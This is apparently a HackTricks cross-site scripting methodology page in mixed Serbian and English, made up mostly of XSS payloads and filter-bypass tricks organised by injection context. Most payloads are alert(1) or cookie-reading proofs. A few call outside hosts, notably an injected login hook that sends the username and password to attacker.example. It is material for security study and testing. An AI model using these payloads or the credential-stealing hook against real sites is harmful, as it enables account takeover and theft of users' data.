XSS (Cross Site Scripting)
Reading time: 54 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Metodologija
- Proveri da li se bilo koja vrednost koju kontrolišeš (parameters, path, headers?, cookies?) reflektuje u HTML-u ili se koristi u JS kodu.
- Pronađi kontekst u kome je reflektovano/korisćeno.
- Ako je reflektovano
- Proveri koje simbole možeš koristiti i u zavisnosti od toga, pripremi payload:
- U raw HTML:
- Možeš li kreirati nove HTML tagove?
- Možeš li koristiti evente ili atribute koji podržavaju
javascript:
protocol? - Možeš li zaobići zaštite?
- Da li se HTML sadržaj interpretira kroz neki client side JS engine (AngularJS, VueJS, Mavo...), koji bi mogaoš zloupotrebiti kroz Client Side Template Injection.
- Ako ne možeš kreirati HTML tagove koji izvršavaju JS kod, možeš li zloupotrebiti Dangling Markup - HTML scriptless injection?
- Unutar HTML taga:
- Možeš li izaći u raw HTML kontekst?
- Možeš li kreirati nove evente/atribute koji izvršavaju JS kod?
- Da li atribut u kome si zarobljen podržava izvršavanje JS?
- Možeš li zaobići zaštite?
- Unutar JavaScript koda:
- Možeš li pobjeći iz
<script>
taga? - Možeš li pobjeći iz stringa i izvršiti drugačiji JS kod?
- Da li je tvoj input u template literal-ima ``?
- Možeš li zaobići zaštite?
- Javascript funkcija koja se izvodi
- Možeš navesti ime funkcije koju treba izvršiti. npr.:
?callback=alert(1)
- Ako je korisćeno:
- Mogao bi iskoristiti DOM XSS, obrati pažnju kako je tvoj input kontrolisan i da li se tvoj kontrolisani input koristi od strane nekog sinka.
Kada radiš na kompleksnom XSS-u može ti biti interesantno da pogledaš:
Reflected values
Da bi uspešno eksploatisao XSS, prva stvar koju treba da nađeš je vrednost koju kontrolišeš i koja se reflektuje na web stranici.
- Intermediately reflected: Ako primetiš da se vrednost parametra ili čak path reflektuje na stranici, možeš iskoristiti Reflected XSS.
- Stored and reflected: Ako se vrednost koju kontrolišeš čuva na serveru i reflektuje svaki put kad pristupiš stranici, možeš iskoristiti Stored XSS.
- Accessed via JS: Ako se vrednost koju kontrolišeš pristupa pomoću JS-a, možeš iskoristiti DOM XSS.
Konteksti
Kada pokušavaš da iskoristiš XSS, prva stvar koju treba da znaš je gde se tvoj input reflektuje. U zavisnosti od konteksta, moći ćeš na različite načine izvršiti proizvoljni JS kod.
Raw HTML
Ako se tvoj input reflektuje u raw HTML-u stranice, moraćeš da zloupotrebiš neki HTML tag da bi izvršio JS kod: <img , <iframe , <svg , <script
... ovo su samo neki od mnogih mogućih HTML tagova koje možeš koristiti.
Takođe, imaj na umu Client Side Template Injection.
Unutar atributa HTML taga
Ako se tvoj input reflektuje unutar vrednosti atributa taga, možeš pokušati:
- Da izbaciš se iz atributa i iz taga (tada ćeš biti u raw HTML-u) i kreiraš novi HTML tag za zloupotrebu:
"><img [...]
- Ako možeš izaći iz atributa ali ne i iz taga (
>
je enkodiran ili obrisan), u zavisnosti od taga možeš kreirati event koji izvršava JS kod:" autofocus onfocus=alert(1) x="
- Ako ne možeš izaći iz atributa (
"
je enkodirano ili obrisano), onda u zavisnosti od kojeg atributa se tvoja vrednost reflektuje i da li kontrolišeš celu vrednost ili samo njen deo biće ti moguće da ga zloupotrebiš. Na primer, ako kontrolišeš event kaoonclick=
moći ćeš da ga nateraš da izvrši proizvoljan kod kada se klikne. Drugi interesantan primer je atributhref
, gde možeš koristitijavascript:
protokol da izvršiš proizvoljan kod:href="javascript:alert(1)"
- Ako se tvoj input reflektuje unutar "neeksploatabilnih tagova" možeš pokušati trik sa
accesskey
da zloupotrebiš ranjivost (biće ti potrebna neka vrsta social engineering-a da ovo iskoristiš):" accesskey="x" onclick="alert(1)" x="
Čudan primer Angular-a koji izvršava XSS ako kontrolišeš ime klase:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Unutar JavaScript koda
U tom slučaju vaš unos se reflektuje između <script> [...] </script>
tagova HTML stranice, unutar .js
fajla ili unutar atributa koji koristi javascript:
protokol:
- Ako je reflektovano između
<script> [...] </script>
tagova, čak i ako je vaš unos unutar bilo kojih navodnika, možete pokušati da injektujete</script>
i pobegnete iz tog konteksta. Ovo radi zato što pregledač će prvo parsirati HTML tagove a zatim sadržaj, te neće primetiti da je vaš ubrizgani</script>
tag unutar HTML koda. - Ako je reflektovano unutar JS stringa i prethodni trik ne radi, moraćete da izađete iz stringa, izvršite svoj kod i rekonstrušete JS kod (ako ima greške, neće biti izvršen):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Ako je reflektovano unutar template literals možete ubaciti JS izraze koristeći
${ ... }
sintaksu:var greetings = `Hello, ${alert(1)}`
- Unicode enkodiranje funkcioniše za pisanje validnog javascript koda:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting references the opportunity to deklarisati funkcije, promenljive ili klase nakon što su korišćene, kako biste mogli iskoristiti scenarije u kojima XSS koristi nedeklarisane promenljive ili funkcije.
Pogledajte sledeću stranicu za više informacija:
Javascript Function
Mnoge web stranice imaju endpoints koji prihvataju kao parametar ime funkcije koju treba izvršiti. Čest primer u divljini je nešto poput: ?callback=callbackFunc
.
Dobar način da otkrijete da li se nešto što korisnik direktno unese pokušava izvršiti je izmeniti vrednost parametra (na primer u 'Vulnerable') i posmatrati konzolu za greške poput:
Ako je ranjiv, mogli biste uspeti da pokrenete alert samo slanjem vrednosti: ?callback=alert(1)
. Međutim, veoma je često da ovi endpoints validiraju sadržaj da dozvole samo slova, brojeve, tačke i donje crte ([\w\._]
).
Međutim, čak i sa tom ograničenjem još uvek je moguće sprovesti neke akcije. To je zato što možete iskoristiti te dozvoljene karaktere da pristupite bilo kom elementu u DOM-u:
Neke korisne funkcije za ovo su:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Takođe možete pokušati da direktno покренете Javascript functions: obj.sales.delOrders
.
Međutim, obično su endpointi koji izvršavaju naznačenu funkciju endpointi bez mnogo zanimljivog DOM-a, other pages in the same origin će imati more interesting DOM za izvođenje više akcija.
Stoga, da biste abuse this vulnerability in a different DOM, razvijen je exploit za Same Origin Method Execution (SOME):
SOME - Same Origin Method Execution
DOM
Postoji JS code koji nesigurno koristi neke podatke kontrolisane od strane napadača kao što je location.href
. Napadač ovo može iskoristiti da izvrši proizvoljan JS код.
Universal XSS
Ovakve vrste XSS mogu se naći anywhere. One ne zavise samo od exploitatovanja klijenta web aplikacije već od any context. Ovakve vrste arbitrary JavaScript execution mogu čak biti iskorišćene da dovedu do RCE, da read arbitrary files na klijentima i serverima, i još mnogo toga.
Neki examples:
WAF bypass encoding image
Injecting inside raw HTML
Kada je vaš unos reflektovan inside the HTML page ili možete da escape-ujete i ubacite HTML kod u ovom kontekstu, prva stvar koju treba da uradite je da proverite da li možete da zloupotrebite <
za kreiranje novih tagova: jednostavno pokušajte da reflect taj char i proverite da li je HTML encoded ili deleted ili da li je reflected without changes. Samo u poslednjem slučaju ćete moći da iskoristite ovu situaciju.
Za ove slučaje takođe keep in mind Client Side Template Injection.
Napomena: HTML komentar se može zatvoriti koristeći -->
ili --!>
U ovom slučaju, i ako se ne koristi black/whitelisting, možete koristiti payloads poput:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Međutim, ako se koristi black/whitelisting tagova/atributa, moraćete da brute-force koje tags možete kreirati.
Kada otkrijete koji su tags dozvoljeni, treba da brute-force attributes/events unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.
Tags/Events brute-force
Idite na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknite na Copy tags to clipboard. Zatim pošaljite sve tagove koristeći Burp intruder i proverite da li neki tag nije označen kao maliciozan od strane WAF-a. Kada otkrijete koje tags možete koristiti, možete brute force all the events koristeći validne tagove (na istoj web stranici kliknite na Copy events to clipboard i sledite istu proceduru kao ranije).
Custom tags
Ako niste našli nijedan validan HTML tag, možete pokušati da create a custom tag i izvršite JS kod pomoću onfocus
atributa. U XSS zahtevu, potrebno je da završite URL sa #
kako biste naterali stranicu da se fokusira na taj objekat i izvrši kod:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Ako se koristi neka vrsta blacklist-a, možete pokušati da je bypass-ujete pomoću nekih jednostavnih trikova:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Više tiny XSS za različita okruženja payload može se naći ovde i ovde.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Poslednji koristi 2 unicode karaktera koja se prošire na 5: telsr
Više ovakvih karaktera može se naći ovde.
Da proverite na koje se karaktere decomponuje pogledajte ovde.
Click XSS - Clickjacking
Ako je za iskorišćavanje ranjivosti potrebno da korisnik klikne na link ili formu sa unapred popunjenim podacima, možete pokušati da abuse Clickjacking (ako je stranica ranjiva).
Impossible - Dangling Markup
Ako mislite da je nemoguće napraviti HTML tag sa attribute koji izvršava JS kod, treba da pogledate Danglig Markup jer biste mogli iskoristiti ranjivost bez izvršavanja JS koda.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
Ako se nalazite inside a HTML tag, prva stvar koju možete pokušati je da escape iz taga i iskoristite neke od tehnika pomenutih u prethodnom odeljku da izvršite JS kod.
Ako ne možete escape-ovati iz taga, možete kreirati nove attribute unutar taga kako biste pokušali da izvršite JS kod, na primer koristeći payload poput (napomena: u ovom primeru double quotes služe za escape iz attribute, neće vam biti potrebni ako je vaš unos reflektovan direktno unutar taga):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Događaji stila
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Unutar atributa
Čak i ako ne možete da pobegnete iz atributa ("
se enkoduje ili briše), u zavisnosti od koji atribut odražava vašu vrednost da li kontrolišete celu vrednost ili samo njen deo moći ćete to da zloupotrebite. Na primer, ako kontrolišete event kao što je onclick=
moći ćete da natjerate da izvrši proizvoljni kod kada se klikne.
Drugi interesantan primer je atribut href
, gde možete koristiti javascript:
protokol da izvršite proizvoljni kod: href="javascript:alert(1)"
Bypass inside event using HTML encoding/URL encode
The HTML encoded characters inside the value of HTML tags attributes are decoded on runtime. Therefore something like the following will be valid (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
Note that any kind of HTML encode is valid:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Imajte na umu da će i URL encode raditi:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass unutar event-a koristeći Unicode enkodovanje
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Specijalni protokoli unutar atributa
Tamo možete koristiti protokole javascript:
ili data:
na nekim mestima da biste izvršili proizvoljan JS kod. Neki će zahtevati interakciju korisnika, neki neće.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Mesta gde možete ubaciti ove protokole
Uopšteno protokol javascript:
može biti korišćen u bilo kojem tagu koji prihvata atribut href
i u većini tagova koji prihvataju atribut src
(ali ne <img
)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Other obfuscation tricks
U ovom slučaju HTML encoding i Unicode encoding trik iz prethodnog odeljka takođe važi, jer se nalazite unutar atributa.
<a href="javascript:var a=''-alert(1)-''">
Štaviše, postoji još jedan nice trick za ove slučajeve: Čak i ako je vaš unos unutar javascript:...
URL encoded, biće URL decoded pre nego što se izvrši. Dakle, ako treba da escape iz string koristeći single quote i vidite da it's being URL encoded, zapamtite da it doesn't matter, biće interpreted kao single quote tokom execution time.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Imajte na umu da ako pokušate da koristite oba URLencode + HTMLencode
u bilo kom redosledu da enkodujete payload, to neće raditi, ali možete mešati ih unutar payload-a.
Korišćenje Hex i Octal encode sa javascript:
Možete koristiti Hex i Octal encode unutar src
atributa iframe
(najmanje) da navedete HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Ako možete ubaciti bilo koji URL u proizvoljan <a href=
tag koji sadrži atribute target="_blank" and rel="opener"
, pogledajte sledeću stranicu da biste iskoristili ovo ponašanje:
Zaobilaženje 'on' event handlers
Najpre pogledajte ovu stranicu (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) za korisne "on" event handlers.
Ako neka crna lista sprečava kreiranje ovih event handlera, možete pokušati sledeće zaobilaženja:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS u "oznakama koje se ne mogu iskoristiti" (hidden input, link, canonical, meta)
Iz here sada je moguće zloupotrebiti hidden inputs pomoću:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
I u meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Iz here: Možete izvršiti XSS payload unutar skrivenog atributa, pod uslovom da uspete da persuade victim da pritisne key combination. Na Firefox (Windows/Linux) kombinacija tastera je ALT+SHIFT+X, a na OS X je CTRL+ALT+X. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u access key attribute. Evo vektora:
<input type="hidden" accesskey="X" onclick="alert(1)">
The XSS payload će biti nešto ovako: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Neki trikovi sa korišćenjem različitih enkodiranja već su objašnjeni u ovom odeljku. Vratite se da naučite gde možete koristiti:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1)
- URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Pročitajte Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Pročitajte JavaScript bypass blacklist of the following section.
CSS-Gadgets
Ako ste pronašli XSS u vrlo malom delu veba koji zahteva neku interakciju (možda mali link u footer-u sa onmouseover elementom), možete pokušati da izmenite prostor koji taj element zauzima kako biste povećali verovatnoću da se link aktivira.
Na primer, možete dodati stil u element kao: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Ali, ako WAF filtrira atribut style, možete koristiti CSS Styling Gadgets, pa ako nađete, na primer
.test {display:block; color: blue; width: 100%}
i
#someid {top: 0; font-family: Tahoma;}
Sada možete modifikovati naš link i dovesti ga u formu
<a href="" id=someid class=test onclick=alert() a="">
Ovaj trik je preuzet sa https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
U ovom slučaju, vaš input će biti reflektovan unutar JS koda .js fajla ili između <script>...</script>
tagova ili između HTML događaja koji mogu izvršavati JS kod ili između atributa koji prihvataju javascript:
protokol.
Escaping <script> tag
Ako je vaš kod ubačen unutar <script> [...] var input = 'reflected data' [...] </script>
lako možete prekinuti zatvaranje <script>
taga:
</script><img src=1 onerror=alert(document.domain)>
Obratite pažnju da u ovom primeru čak nismo ni zatvorili apostrof. To je zato što se HTML parsing prvo obavlja od strane browser-a, što uključuje identifikovanje elemenata stranice, uključujući blokove script. Parsiranje JavaScript-a da bi se razumeli i izvršili ugrađeni skriptovi sprovodi se tek nakon toga.
Unutar JS koda
Ako se <>
filtriraju, i dalje možete escape-ovati string tamo gde se vaš unos nalazi i izvršiti proizvoljan JS. Važno je popraviti JS sintaksu, jer ako postoje greške, JS kod se neće izvršiti:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Kada korisnički unos dospe unutar navodnog JavaScript stringa (npr., server-side echo into an inline script), možete prekinuti string, inject code i popraviti sintaksu da bi parsiranje ostalo validno. Generički kostur:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Primer URL obrasca kada se ranjivi parametar reflektuje u JS string:
?param=test";<INJECTION>;a="
Ovo izvršava napadačev JS bez potrebe da se dira HTML kontekst (pure JS-in-JS). Kombinujte sa blacklist bypasses ispod kada filteri blokiraju ključne reči.
Template literals ``
Da biste konstruisali strings, pored jednostrukih i dvostrukih navodnika, JS takođe prihvata backticks ``
. Ovo je poznato kao template literals jer omogućavaju da se embedded JS expressions koriste pomoću ${ ... }
sintakse.
Stoga, ako otkrijete da je vaš unos reflected unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu ${ ... }
da izvršite arbitrary JS code:
Ovo se može zloupotrebiti koristeći:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Enkodirano code execution
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Isporučivi payloads sa eval(atob()) i nijansama opsega
Da biste držali URLs kraćim i zaobišli naivne filtere po ključnim rečima, možete base64-encode-ovati svoju pravu logiku i izvršiti je pomoću eval(atob('...'))
. Ako jednostavno filtriranje po ključnim rečima blokira identifikatore kao što su alert
, eval
ili atob
, koristite Unicode-escaped identifikatore koji se u pregledaču izvršavaju identično, ali zaobilaze filtre koji rade podudaranje stringova:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Važna nijansa opsega: const
/let
deklarisani unutar eval()
su block-scoped i NE kreiraju globalne promenljive; neće biti dostupni kasnijim skriptama. Koristite dinamički umetnut <script>
element da, kad je potrebno, definišete globalne hook-ove koje nije moguće ponovo dodeliti (npr. za presretanje handler-a forme):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Referenca: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode Encode JS izvršavanje
alert(1)
alert(1)
alert(1)
JavaScript tehnike za zaobilaženje crnih lista
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Posebni escape karakteri
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Zamene razmaka unutar JS code
<TAB>
/**/
JavaScript comments (iz JavaScript Comments trika)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (iz JavaScript new line trika)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript razmaci
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript unutar komentara
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript bez zagrada
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Proizvoljan poziv funkcije (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
